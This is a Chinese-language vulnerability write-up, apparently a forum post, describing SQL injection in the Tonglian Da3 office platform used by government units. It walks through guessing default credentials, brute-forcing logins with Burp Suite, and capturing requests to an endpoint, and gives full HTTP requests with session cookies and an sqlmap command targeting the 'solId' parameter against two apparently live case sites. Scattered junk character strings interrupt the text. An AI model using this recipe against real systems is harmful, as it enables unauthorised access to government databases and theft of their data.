同联Da3协同办公平台前台通用sql injection漏洞

admin

平台简介：

+ Z( b9 b' h1 K* _

 

) `1 V, g* h; X( v

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

 

7 I) _1 t& M# E W6 d

4 x$ s( j( ? f ^9 Q 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 7 J1 ?/ h" q6 c. t3 Q2 s" N

& ]# g) ^) F2 i6 N/ i8 L+ D1 s  

! M/ e. r M* c" C http://1.1.1.1:7197/cap-aco/#（案例2-） 1 F6 ^; p ^ _& [9 l9 u. x

http://www.XXOO.com （案例1-官网网站） 9 I" \6 `0 m3 v: j

' \5 @4 l/ a# O, b3 w( |

 

/ {7 R* ?4 A5 h5 ?, K( ]% m8 W- i

/ X7 s" S3 X n) A7 _/ U 漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 4 Q+ n- E+ h* P& S: O

+ o$ n9 _; C/ o6 ]1 ?0 Q, I* `2 R

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 1 h7 A! `- `- g' ?9 N7 i/ _. ^

, m2 m' `7 O/ z% L* j/ E   6 W. ~( i0 n7 v+ Y

 

6 e* P+ l) N0 Z2 @; F. O

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

9 B+ L/ ], G/ m" t; r9 ]; X& _

1、案例1-官方网站 6 E9 G* p1 X+ E" v8 h3 J, r

2 ^5 d* Q9 V9 g. f( c( p" v! A

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 0 W! G1 N, b# e+ J( e$ R

# r' i9 k) \+ S0 j m Host: www.XXOO.com 8 C' |% y/ S- a4 u

; h! h3 s/ X: u, z Proxy-Connection: Keep-Alive

* T' Z5 z8 w& P% W! z" Q Accept: application/json, text/javascript, */*; q=0.01

3 T, p& ]: P9 G5 g+ U3 v! O0 H

Accept-Language: zh-CN

Content-Type: application/json

2 P7 l, K$ V+ z4 Z& b* }0 v User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko ; O) D( r# ~7 C& s6 f# _4 I

( ]' U0 E& U5 K, p4 ? X-Requested-With: XMLHttpRequest

1 `4 d9 R: ~ { Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 $ H$ r, ~9 c" `0 z/ r. W$ p( x

Accept-Encoding: gzip, deflate, sdch

2 O A) ~$ S1 B3 h

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e * Y& `2 ?+ Z8 g9 b- P

! O" L# H' l0 n$ r, h2 {

2 f( B! W, }7 W 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

  4 t/ I( o* L7 l. ]' w% u

! `5 [% }6 ~+ |( H3 P

  # f, J- d% Q! T6 E& Q1 `

  $ o/ _. T4 ~$ d7 l

6 B/ U+ \: n% d! v) D; b

  $ f, R$ k# x, Q9 K. S

8 A# W6 B o) s* z% p5 o

2 Y: n- f$ t |+ w, K. z! v/ Z  

+ w. O) E. b, ^7 y- Q

2、案例2-某天河云平台 1 T/ D" W$ z2 ?) {

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

+ D5 k. ?* [* w* {! \# e

2 O. Y" w% M' u# S Host: 1.1.1.:7197 ; L: e0 I$ s) H) @3 y! S0 O

0 P8 `" h7 v% x( s# _8 T- O* s+ \ Accept: application/json, text/javascript, */*; q=0.01 Z3 n1 a, l* }4 Q3 b

0 [- s: L; J( {& y3 o

5 ^7 \! G- z6 Q! W+ ~+ u X-Requested-With: XMLHttpRequest

. P, g/ _) J1 g+ V% N2 R0 E User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 ! m/ d9 ~, f8 M6 D% y

Content-Type: application/json

3 p' B9 o* C8 {) a a% W

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 ' p1 t9 V" E) Q1 V6 b+ e

Accept-Language: zh-CN,zh;q=0.8

2 O1 G. v: j$ a4 H% e& N

2 R. l- U+ X/ o. v Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 . t2 u2 o) y+ E2 y) }& b& Z" G! {

, u# `; u% R( F, v$ r

9 T: k7 r- T5 B. M Connection: close ) r) t+ W5 J; g. I r7 Y) M# ~9 m

; K, F4 G) X5 G( m" t

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 7 y+ u' g0 i5 e! G( r3 Z/ ~* e* d2 A) I

% a6 }, C% k, u4 W- M  

7 C! w" q5 t2 F